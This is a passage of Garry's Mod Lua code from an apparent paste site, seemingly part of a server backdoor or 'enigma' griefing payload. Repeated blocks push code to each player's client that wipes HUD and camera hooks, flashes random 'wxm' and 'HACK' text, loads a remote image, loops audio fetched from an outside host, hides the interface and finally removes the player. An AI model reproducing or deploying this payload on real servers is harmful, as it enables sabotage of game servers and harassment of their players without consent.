  885. (GAMEMODE or GM).CalcView = function() end
  886. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  887.  
  888. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  889. for k, v in pairs(remove) do
  890. hook.GetTable()[v] = {}
  891. end
  892.  
  893. local function GetWebMat( strURL )
  894. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  895. end
  896.  
  897. hook.Add( "HUDPaint", "hud7enigma", function()
  898. surface.SetDrawColor( 255, 255, 255, 255 )
  899.  
  900. draw.SimpleTextOutlined(
  901. "wxm",
  902. "DermaLarge",
  903. ScrW() /2 +math.random( -700, 700 ),
  904. ScrH() /2 +math.random( -700, 700 ) +300,
  905. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  906. TEXT_ALIGN_CENTER,
  907. TEXT_ALIGN_CENTER,
  908. 1,
  909. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  910. )
  911. end )
  912. ]] )
  913. end )
  914.  
  915. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  916. enigmalaunchproject:SendLua( pPlayer, [[
  917.  
  918. (GAMEMODE or GM).CalcView = function() end
  919. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  920.  
  921. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  922. for k, v in pairs(remove) do
  923. hook.GetTable()[v] = {}
  924. end
  925.  
  926. local function GetWebMat( strURL )
  927. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  928. end
  929.  
  930. hook.Add( "HUDPaint", "hud10enigma", function()
  931. surface.SetDrawColor( 255, 255, 255, 255 )
  932.  
  933. draw.SimpleTextOutlined(
  934. "wxm",
  935. "DermaLarge",
  936. ScrW() /2 +math.random( -800, 800 ),
  937. ScrH() /2 +math.random( -800, 800 ) -400,
  938. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  939. TEXT_ALIGN_CENTER,
  940. TEXT_ALIGN_CENTER,
  941. 1,
  942. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  943. )
  944. end )
  945. ]] )
  946. end )
  947.  
  948. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  949. enigmalaunchproject:SendLua( pPlayer, [[
  950.  
  951. (GAMEMODE or GM).CalcView = function() end
  952. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  953.  
  954. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  955. for k, v in pairs(remove) do
  956. hook.GetTable()[v] = {}
  957. end
  958.  
  959. local function GetWebMat( strURL )
  960. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  961. end
  962.  
  963. hook.Add( "HUDPaint", "hud12enigma", function()
  964. surface.SetDrawColor( 255, 255, 255, 255 )
  965.  
  966. draw.SimpleTextOutlined(
  967. "wxm",
  968. "DermaLarge",
  969. ScrW() /2 +math.random( -850, 850 ),
  970. ScrH() /2 +math.random( -850, 850 ) +100,
  971. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  972. TEXT_ALIGN_CENTER,
  973. TEXT_ALIGN_CENTER,
  974. 1,
  975. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  976. )
  977. end )
  978. ]] )
  979. end )
  980.  
  981. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  982. enigmalaunchproject:SendLua( pPlayer, [[
  983.  
  984. (GAMEMODE or GM).CalcView = function() end
  985. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  986.  
  987. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  988. for k, v in pairs(remove) do
  989. hook.GetTable()[v] = {}
  990. end
  991.  
  992. local function GetWebMat( strURL )
  993. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  994. end
  995.  
  996. hook.Add( "HUDPaint", "hud1enigma", function()
  997. surface.SetDrawColor( 255, 255, 255, 255 )
  998.  
  999. draw.SimpleTextOutlined(
  1000. "wxm",
  1001. "DermaLarge",
  1002. ScrW() /2 +math.random( -300, 600 ),
  1003. ScrH() /2 +math.random( -600, 300 ) +200,
  1004. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1005. TEXT_ALIGN_CENTER,
  1006. TEXT_ALIGN_CENTER,
  1007. 1,
  1008. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1009. )
  1010. end )
  1011. ]] )
  1012. end )
  1013.  
  1014. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1015. enigmalaunchproject:SendLua( pPlayer, [[
  1016.  
  1017. (GAMEMODE or GM).CalcView = function() end
  1018. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1019.  
  1020. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1021. for k, v in pairs(remove) do
  1022. hook.GetTable()[v] = {}
  1023. end
  1024.  
  1025. local function GetWebMat( strURL )
  1026. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1027. end
  1028.  
  1029. hook.Add( "HUDPaint", "hud1enigma", function()
  1030. surface.SetDrawColor( 255, 255, 255, 255 )
  1031.  
  1032. draw.SimpleTextOutlined(
  1033. "wxm",
  1034. "HACK",
  1035. ScrW() /2 +math.random( -300, 600 ),
  1036. ScrH() /2 +math.random( -600, 300 ) +200,
  1037. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1038. TEXT_ALIGN_CENTER,
  1039. TEXT_ALIGN_CENTER,
  1040. 1,
  1041. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1042. )
  1043. end )
  1044. ]] )
  1045. end )
  1046.  
  1047.  
  1048. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1049. enigmalaunchproject:SendLua( pPlayer, ([=[
  1050.  
  1051. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  1052. local html = [[%s]]
  1053. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  1054. local pnl = vgui.Create( "HTML" )
  1055. pnl:SetPos( ScrW() -1, ScrH() -1 )
  1056. pnl:SetVisible( true )
  1057. pnl:SetMouseInputEnabled( false )
  1058. pnl:SetKeyBoardInputEnabled( false )
  1059. pnl:SetSize( intSizeX, intSizeY )
  1060. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  1061.  
  1062. local PageLoaded
  1063. PageLoaded = function()
  1064. local mat = pnl:GetHTMLMaterial()
  1065. if mat then
  1066. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  1067. return
  1068. end
  1069.  
  1070. timer.Simple( 0.5, PageLoaded )
  1071. end
  1072.  
  1073. PageLoaded()
  1074. end
  1075.  
  1076. LoadWebMaterial( "https://upload.wikimedia.org/wikipedia/commons/thumb/e/e3/Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg/220px-Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg", "EnigmaLogo", 1000, 1000 )
  1077. ]=]):format(lol.m_strImageLoadHTML) )
  1078. end )
  1079.  
  1080. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1081. enigmalaunchproject:SendLua( pPlayer, [[
  1082. (GAMEMODE or GM).CalcView = function() end
  1083. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1084.  
  1085. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1086. for k, v in pairs(remove) do
  1087. hook.GetTable()[v] = {}
  1088. end
  1089.  
  1090. local function GetWebMat( strURL )
  1091. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1092. end
  1093.  
  1094. hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
  1095. surface.SetDrawColor( 255, 255, 255, 255 )
  1096.  
  1097. if GetWebMat( "EnigmaLogo" ) then
  1098. surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
  1099. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  1100. end
  1101. end )
  1102.  
  1103. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  1104. hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
  1105.  
  1106. surface.PlaySound( "garrysmod/save_load4.wav" )
  1107. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  1108. ]] )
  1109. end )
  1110.  
  1111. lol:PushAction( 175, function( pPlayer )
  1112. lol:SendLua( pPlayer, [[
  1113. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  1114.  
  1115. local sounds = {}
  1116. for i = 1, 4 do
  1117. sound.PlayURL( "http://marlowfr.alwaysdata.net/marlow.mp3", "noblock noplay", function( pChan )
  1118. sounds[#sounds +1] = pChan
  1119. end )
  1120. end
  1121.  
  1122. timer.Create( "asdf", 1, 0, function()
  1123. if #sounds ~= 4 then return end
  1124. timer.Destroy( "asdf" )
  1125. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  1126. end )
  1127.  
  1128. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  1129. ]] )
  1130.  
  1131. pPlayer:Remove()
  1132. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement